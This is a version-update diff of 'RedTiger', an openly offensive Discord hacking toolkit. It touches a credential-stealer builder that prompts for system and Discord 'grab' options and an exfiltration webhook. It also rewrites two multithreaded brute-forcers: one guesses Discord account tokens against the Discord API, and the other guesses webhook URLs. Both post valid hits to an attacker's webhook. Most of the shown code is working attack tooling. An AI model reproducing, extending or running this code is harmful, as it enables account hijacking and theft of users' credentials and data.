3.2

Settings/Program/Builder-Stealer.py

@@ -1434,9 +1434,10 @@ def Startup():
     if response.status_code != 200:
        ErrorWebhook()
     else:
-        print(f"{color.RED}{INFO} Valid Webhook.")
+        print(f"{color.RED}{INFO} Webhook Valid.")
 except:
    ErrorWebhook()
+
 print(f"{color.RED}\n{INFO} Custom your grabber:")
 add_system = input(f"{color.RED}{INPUT} Add System Grab ? (y/n) -> {color.RESET}")
 add_discord = input(f"{color.RED}{INPUT} Add Discord Grab ? (y/n) -> {color.RESET}")

Settings/Program/Config/Config.py

@@ -1,5 +1,5 @@
 name_tool = "RedTiger"
-version_tool = "3.1"
+version_tool = "3.2"
 coding_tool = "Python 3"
 language_tool = "EN"
 creator = "FluzyTeck"

Settings/Program/Config/Util.py

@@ -9,10 +9,13 @@
 from datetime import datetime
 
 color_webhook = 0xa80505
+username_webhook = name_tool
+avatar_webhook = "https://media.discordapp.net/attachments/1184160374342299688/1187802357472440441/IMG_1846.png?ex=66102ea6&is=65fdb9a6&hm=220bbc709c52bfc164939b6fb33ae7cc92127ff37554fa1edf9a2339d0f16e98&=&format=webp&quality=lossless&width=353&height=350"
 
 color = colorama.Fore
 red = color.RED
 white = color.WHITE
+green = color.GREEN
 reset = color.RESET
 
 try:
@@ -25,6 +28,9 @@
 ERROR = f'{red}[{white}x{red}] |'
 ADD = f'{red}[{white}+{red}] |'
 
+GEN_VALID = f'{green}[{white}+{green}] |'
+GEN_INVALID = f'{red}[{white}x{red}] |'
+
 def get_current_datetime():
     now = datetime.now()
     return now.hour, now.minute, now.second, now.year, now.day, now.month
@@ -109,4 +115,9 @@ def ErrorWebhook():
 def ErrorCookie():
     print(f"{color.RED}{ERROR} Invalid Cookie !", color.RESET)
     time.sleep(3)
+    Reset()
+
+def ErrorUsername():
+    print(f"{color.RED}{ERROR} Invalid Username !", color.RESET)
+    time.sleep(3)
     Reset()

Settings/Program/Discord-Nitro-Generator.py

@@ -86,11 +86,11 @@ def send_embed_webhook(webhook_url, embed_content):
                 'username': username,
                 'avatar_url': url,
                 'content': message
-                 }
+                }
 
                 headers = {
             'Content-Type': 'application/json'
-             }
+                }
 
                 response = requests.post(webhook_url, data=json.dumps(payload), headers=headers)
             username = 'Red Tiger'

Settings/Program/Discord-Token-Generator.py

@@ -4,68 +4,81 @@
 import requests
 import json
 import random
-
+import threading
 Title("Discord Token Generator")
 
-def send_embed_webhook(webhook_url, embed_content, username=None, url=None):
-                payload = {
-                'embeds': [embed_content],
-                'username': username,
-                'avatar_url': url
-                 }
+webhook = input(f"{color.RED}\n{INPUT} Webhook ? (y/n) -> {color.RESET}")
+if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
+    webhook_url = input(f"{color.RED}{INPUT} Webhook URL -> {color.RESET}")
+    try:
+        response = requests.head(webhook_url)
+        if response.status_code != 200:
+            ErrorWebhook()
+        else:
+            print(f"{color.RED}{INFO} Webhook Valid.")
+    except:
+        ErrorWebhook()
 
-                headers = {
-            'Content-Type': 'application/json'
-             }
+try:
+    threads_number = int(input(f"{INPUT} Threads Number -> {color.RESET}"))
+except:
+    ErrorNumber()
 
-                response = requests.post(webhook_url, data=json.dumps(payload), headers=headers)
-username = 'Red Tiger'
-url = 'https://cdn.discordapp.com/attachments/1184160374342299688/1184160439001686056/IMG_1506.png?ex=658af659&is=65788159&hm=9a0297ee590e78acbafc75bc4686ce2b553e40a2f2a850101378a09f23e32d08&'
-webhook = input(f"{color.RED}\n{INPUT} Webhook ? (y, n) -> {color.RESET}")
-if webhook in ['y']:
-    webhook_url = input(f"{color.RED}{INPUT} URL Webhook -> {color.RESET}")
-def token_check(token):
 
-    try:
-        result = requests.get('https://discordapp.com/api/v9/auth/login', headers={'Authorization': token})
-
-
-        if webhook in ['y']:
-            if result.status_code == 200:
-             print(f"{color.GREEN}{ADD} Token Found | {color.WHITE}{token}{color.RESET}")
-             embed_content = {
-           'title': f'Token Found !',
-           'description': f"**__Token:__**\n```{token}```",
-           'color': color_webhook,
-           'footer': {
-            "text": "Red Tiger",
-            "icon_url": "https://media.discordapp.net/attachments/944760272265031720/1179429697495498834/IMG_1506.png?ex=6582fb00&is=65708600&hm=cbdc48779b762d4d7c95c34bb68a8aabf8314519d0b50c4d7371bea19eac5db4&=&format=webp&quality=lossless",
-             }
-            }
+def send_webhook(embed_content):
+    payload = {
+    'embeds': [embed_content],
+    'username': username_webhook,
+    'avatar_url': avatar_webhook
+    }
 
-             send_embed_webhook(webhook_url, embed_content, username, url)
+    headers = {
+    'Content-Type': 'application/json'
+    }
 
+    requests.post(webhook_url, data=json.dumps(payload), headers=headers)
 
-            else:
-                  print(f"{color.RED}{ERROR} | Token Invalid | {color.WHITE}{token}{color.RESET}")
-        if webhook in ['n']:
-             if result.status_code == 200:
-                print(f"{color.GREEN}{ADD} | Token Found | {color.WHITE}{token}{color.RESET}")
-             else:
-                  print(f"{color.RED}{ERROR} | Token Invalid | {color.WHITE}{token}{color.RESET}")
-
+def token_check():
+    first = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([24, 26])))
+    second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([6])))
+    third =  ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([38])))
+    token = f"{first}.{second}.{third}"
 
+    try:
+        try:
+            user = requests.get('https://discord.com/api/v8/users/@me', headers={'Authorization': token}).json()
+            user['username']
+            if webhook in ['y']:
+                embed_content = {
+                'title': f'Token Valid !',
+                'description': f"**__Token:__**\n```{token}```",
+                'color': color_webhook,
+                'footer': {
+                "text": username_webhook,
+                "icon_url": avatar_webhook,
+                }
+                }
+                send_webhook(embed_content)
+                print(f"{GEN_VALID} Status:  {color.WHITE}Valid{color.GREEN}  | Token: {color.WHITE}{token}{color.GREEN}")
+            else:
+                print(f"{GEN_VALID} Status:  {color.WHITE}Valid{color.GREEN}  | Token: {color.WHITE}{token}{color.GREEN}")
+        except:
+            print(f"{GEN_INVALID} Status: {color.WHITE}Invalid{color.RED} | Token: {color.WHITE}{token}{color.RED}")
     except:
-        print(f"{color.RED}{ERROR} Token Invalid | {color.WHITE}{token}{color.RESET}")
+        print(f"{GEN_INVALID} Status: {color.WHITE}Error{color.RED} | Token: {color.WHITE}{token}{color.RED}")
 
-while True:
-    def generate_random_string(length):
-        characters = string.ascii_letters + string.digits + "._"
-        return ''.join(random.choices(characters, k=length))
+def request():
+    threads = []
+    try:
+        for _ in range(int(threads_number)):
+            t = threading.Thread(target=token_check)
+            t.start()
+            threads.append(t)
+    except:
+        ErrorNumber()
 
-    random_string = generate_random_string(random.randint(60, 75))
-
-    token = random_string
+    for thread in threads:
+        thread.join()
 
-    token_check(token)
-    Title(f"Discord Token Generator | Token: {token}")
+while True:
+    request()

Settings/Program/Discord-Webhook-Generator.py

@@ -1,63 +1,83 @@
 from Config.Util import *
 from Config.Config import *
+import string
 import requests
 import json
-import string
 import random
-
+import threading
 Title("Discord Webhook Generator")
 
-def send_embed_webhook(webhook_url, embed_content, username=None, url=None):
-                payload = {
-                'embeds': [embed_content],
-                'username': username,
-                'avatar_url': url
-                 }
-
-                headers = {
-            'Content-Type': 'application/json'
-             }
-
-                response = requests.post(webhook_url, data=json.dumps(payload), headers=headers)
-username = 'Red Tiger'
-url = 'https://cdn.discordapp.com/attachments/1184160374342299688/1184160439001686056/IMG_1506.png?ex=658af659&is=65788159&hm=9a0297ee590e78acbafc75bc4686ce2b553e40a2f2a850101378a09f23e32d08&'
-
-
-choixwebhook = input(f"{color.RED}\n{INPUT} Webhook (y/n) -> {color.RESET}")
-if choixwebhook in ['y', 'Y','Yes','yes']:
-    webhook_url = input(f"{color.RED}{INPUT} URL Webhook -> {color.RESET}")
-
-def send_webhook_message(webhook_url_Essai):
-         response = requests.head(webhook_url_Essai)
-         if response.status_code == 200:
-          if choixwebhook in ['y']:
-            print(f"{color.GREEN}{ADD} Webhook Found | {color.WHITE}{webhook_partie_variable}{color.RESET}")
-
-            embed_content = {
-           'title': f'Webhook Found !',
-           'description': f"**URL Webhook:__**\n```{webhook_url_Essai}```",
-           'color': color_webhook,
-           'footer': {
-            "text": "Red Tiger",
-            "icon_url": "https://media.discordapp.net/attachments/944760272265031720/1179429697495498834/IMG_1506.png?ex=6582fb00&is=65708600&hm=cbdc48779b762d4d7c95c34bb68a8aabf8314519d0b50c4d7371bea19eac5db4&=&format=webp&quality=lossless",
-             }
-            }
-            send_embed_webhook(webhook_url, embed_content, username, url)
-          else:
-                print(f"{color.GREEN}{ADD} Webhook Found | {color.WHITE}{webhook_partie_variable}{color.RESET}")
-
-         else:
-             print(f"{color.RED}{ERROR} Webhook Invalid | {color.WHITE}{webhook_partie_variable}{color.RESET}")
+webhook = input(f"{color.RED}\n{INPUT} Webhook ? (y/n) -> {color.RESET}")
+if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
+    webhook_url = input(f"{color.RED}{INPUT} Webhook URL -> {color.RESET}")
+    try:
+        response = requests.head(webhook_url)
+        if response.status_code != 200:
+            ErrorWebhook()
+        else:
+            print(f"{color.RED}{INFO} Webhook Valid.")
+    except:
+        ErrorWebhook()
 
+try:
+    threads_number = int(input(f"{INPUT} Threads Number -> {color.RESET}"))
+except:
+    ErrorNumber()
 
-while True:
-
-    chiffres = ''.join(random.choices(string.digits, k=18))
-    caracteres = ''.join(random.choices(string.ascii_letters + string.digits, k=64))
 
-    webhook_partie_variable = f'{chiffres}/{caracteres}'
+def send_webhook(embed_content):
+    payload = {
+    'embeds': [embed_content],
+    'username': username_webhook,
+    'avatar_url': avatar_webhook
+    }
+
+    headers = {
+    'Content-Type': 'application/json'
+    }
 
-    webhook_url_Essai = f'https://discord.com/api/webhooks/{webhook_partie_variable}'
+    requests.post(webhook_url, data=json.dumps(payload), headers=headers)
 
-    send_webhook_message(webhook_url_Essai)
-    Title(f"Webhook Generator | Webhook: {webhook_url_Essai}")
+def webhook_check():
+    first = ''.join([str(random.randint(0, 9)) for _ in range(19)])
+    second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([68])))
+    webhook_test_code = f"{first}/{second}"
+    webhook_test_url = f"https://discord.com/api/webhooks/{webhook_test_code}"
+
+    try:
+        response = requests.head(webhook_test_url)
+        if response.status_code == 200:
+            if webhook in ['y']:
+                embed_content = {
+                'title': f'Webhook Valid !',
+                'description': f"**__Webhook:__**\n```{webhook_test_url}```",
+                'color': color_webhook,
+                'footer': {
+                "text": username_webhook,
+                "icon_url": avatar_webhook,
+                }
+                }
+                send_webhook(embed_content)
+                print(f"{GEN_VALID} Status:  {color.WHITE}Valid{color.GREEN}  | Webhook: {color.WHITE}{webhook_test_code}{color.GREEN}")
+            else:
+                print(f"{GEN_VALID} Status:  {color.WHITE}Valid{color.GREEN}  | Webhook: {color.WHITE}{webhook_test_code}{color.GREEN}")
+        else:
+            print(f"{GEN_INVALID} Status: {color.WHITE}Invalid{color.RED} | Webhook: {color.WHITE}{webhook_test_code}{color.RED}")
+    except:
+        print(f"{GEN_INVALID} Status: {color.WHITE}Error{color.RED} | Webhook: {color.WHITE}{webhook_test_code}{color.RED}")
+
+def request():
+    threads = []
+    try:
+        for _ in range(int(threads_number)):
+            t = threading.Thread(target=webhook_check)
+            t.start()
+            threads.append(t)
+    except:
+        ErrorNumber()
+
+    for thread in threads:
+        thread.join()
+
+while True:
+    request()